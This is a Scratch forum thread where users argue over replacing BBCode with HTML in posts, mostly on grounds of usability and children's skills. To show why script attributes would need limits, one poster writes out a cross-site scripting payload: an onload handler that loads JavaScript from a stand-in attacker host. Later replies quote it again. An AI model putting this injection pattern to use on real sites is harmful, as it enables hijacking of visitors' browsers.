Discuss Scratch

space_elephant
Scratcher
500+ posts

make forums use HTML instead of BBcode

BBcode is missing many features needed by a forum. I think that switching to HTML can fix this.
There are only a few modifications that are needed first:

<DOCTYPE html>
The doctype, html, and body tags should not be needed.
BODY CODE
should become
<DOCTYPE html>
<html>
  <body>
    BODY CODE
  </body>
</html>
This requires seperate code for the <head>
<head>
  HEAD CODE
</head>
BODY CODE
should be
<DOCTYPE html>
<html>
  <head>
    HEAD CODE
  </head>
  <body>
    BODY CODE
  </body>
</html>
not
<DOCTYPE html>
<html>
  <body>
    <head>
      HEAD CODE
    </head>
    BODY CODE
  </body>
</html>

<script>
<script> tags should only be available if the src is a scratch js file. This is needed to display scratch projects.

<style> and <link>
Stylesheats should be scoped to the post they are on. I suggest an option to make a `style.css' and attach it as a link to the main `index.html' The parser may convert this to an inline stylesheat.

<title>
<title> tags should show their contents on the blue bar above the post. This excepts topic posts, where the title will replace the Subject line in the editor

<scratchblocks>
<scratchblocks> will replace [scratchblocks] It will be the same in every way.

<img>
There should be some way to upload images for posts. This is slightly different then the main suggestion, but should still happen.
Inkulumo
Scratcher
500+ posts

make forums use HTML instead of BBcode

No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.
-ShadowOfTheFuture-
Scratcher
1000+ posts

make forums use HTML instead of BBcode

How would you prevent this from breaking every previously-made forum post?
space_elephant
Scratcher
500+ posts

make forums use HTML instead of BBcode

-ShadowOfTheFuture- wrote:

How would you prevent this from breaking every previously-made forum post?
var result = [];
var char;
var open;
for (var index=0; index<str.length; indx ++) {
  char = str[index];
  if (char === '[') {
    open = index;
    result.push(char);
  } else if (char === ']') {
    result[open] = '<';
    result.push('>');
  } else if (char === '&') {// XML escapes
    result.push('&amp;');
  } else if (char === "'") {// XML escapes
    result.push('&apos;');
  } else if (char === '"') {// XML escapes
    result.push('&quot;');
  } else if (char === '<') {// XML escapes
    result.push('&lt;');
  } else if (char === '>') {// XML escapes
    result.push('&gt;');
  } else {
    result.push(char);
  }
}
colinmacc
Scratcher
1000+ posts

make forums use HTML instead of BBcode

I like bbcode! Sorry
Inkulumo
Scratcher
500+ posts

make forums use HTML instead of BBcode

Inkulumo wrote:

No support BBCode is fine and most Scratchers don't understand nor wish to learn HTML syntax.
Seriously, why?
DownsGameClub
Scratcher
1000+ posts

make forums use HTML instead of BBcode

BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
space_elephant
Scratcher
500+ posts

make forums use HTML instead of BBcode

DownsGameClub wrote:

BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
<script> tags should only be available if the src is a scratch js file, as in the OP.

Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
The javascript is
var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);
which adds a
<script src="https://cross.site.scripter.com/myScript.js"/>
to the head.
Inkulumo
Scratcher
500+ posts

make forums use HTML instead of BBcode

space_elephant wrote:

DownsGameClub wrote:

BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
<script> tags should only be available if the src is a scratch js file, as in the OP.

Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
The javascript is
var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);
which adds a
<script src="https://cross.site.scripter.com/myScript.js"/>
to the head.
ok but this is overly complicated and we really should just keep bbcode. why do you push html?
Epicness123
Scratcher
1000+ posts

make forums use HTML instead of BBcode

Why do we need HTML? I don’t see anything wrong with BBcode.

katixirro
Scratcher
100+ posts

make forums use HTML instead of BBcode

BBcode is usually used on forums and stuff like this, and anyway, it would be too confusing and impossible to type anything. (it’s a good idea but I don’t think it would work on here )
CaptainRatlex
Scratcher
1000+ posts

make forums use HTML instead of BBcode

I would suggest to use both, users can chose
space_elephant
Scratcher
500+ posts

make forums use HTML instead of BBcode

CaptainRatlex wrote:

I would suggest to use both, users can chose
Support to this.

katixirro wrote:

it would be too confusing and impossible to type anything.
I disagree on this point because if I didn't care about usability, I wouldn't have made a suggestion. That's what suggestions are for.
space_elephant
Scratcher
500+ posts

make forums use HTML instead of BBcode

Inkulumo wrote:

space_elephant wrote:

DownsGameClub wrote:

BBCode is a common format that many forum softwares use. In general, there are tons of features that you can use - some of them simply aren't enabled because there is no need to have them on Scratch.

Also, not sure if this is true, but I think you can insert snippets of code into HTML that could possibly run viruses if this is implemented…
<script> tags should only be available if the src is a scratch js file, as in the OP.

Also, the onload attribute should be limited as much as possible, to prevent things like
<script src="https://scratch-mit-edu.ezproxyberklee.flo.org/a/perfectly/reasonable/script/url.js" onload="var script=document.createElement('script'); script.src='https://cross.site.scripter.com/myScript.js'; document.head.appendChild(script);"/>
The javascript is
var script=document.createElement('script');
script.src='https://cross.site.scripter.com/myScript.js';
document.head.appendChild(script);
which adds a
<script src="https://cross.site.scripter.com/myScript.js"/>
to the head.
ok but this is overly complicated and we really should just keep bbcode. why do you push html?
Because HTML is easier to remember, and has enough power for scratch.
Vaibhs11
Scratcher
1000+ posts

make forums use HTML instead of BBcode

I don't (at least there are some) understand what's the difference. Like <> turn into but BBcode is 25% easier with no confusing syntax and words. That's why everyone supports BBcode. I can spot that because I'm an intermediate in HTML and CSS and I support what CaptainRatlex said

CaptainRatlex wrote:

I suggest to use both, users can choose
I love both
<i>wot</i>

Last edited by Vaibhs11 (Sept. 15, 2020 02:15:00)

TapingAnimations
Scratcher
1000+ posts

make forums use HTML instead of BBcode

no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
scratch978654
Scratcher
100+ posts

make forums use HTML instead of BBcode

TapingAnimations wrote:

no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.
TapingAnimations
Scratcher
1000+ posts

make forums use HTML instead of BBcode

scratch978654 wrote:

TapingAnimations wrote:

no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.
I'm just 10 and were not even learning Html at School
-InsanityPlays-
Scratcher
1000+ posts

make forums use HTML instead of BBcode

<opinions>I don't think they should ONLY use HTML but maybe both languages?</opinions>
TapingAnimations
Scratcher
1000+ posts

make forums use HTML instead of BBcode

scratch978654 wrote:

TapingAnimations wrote:

no support, there are many kids like me using the forums and most of the kids (Including me) don't know how to use html, BBcode is fine and it would be very confusing to use html (For kids), plus in all of the Forums I went to they all used BBcode.
Why's everyone underestimating kids.
Guess my age. For one thing it's less than 13.
I'm at an advanced level in HTML, CSS and js.
Besides, I support. It helps people learn HTML and it's really just replacing [b] with <b>.
And what does CSS and js ,mean? I never heard of it

Last edited by TapingAnimations (Sept. 15, 2020 06:51:48)

Powered by DjangoBB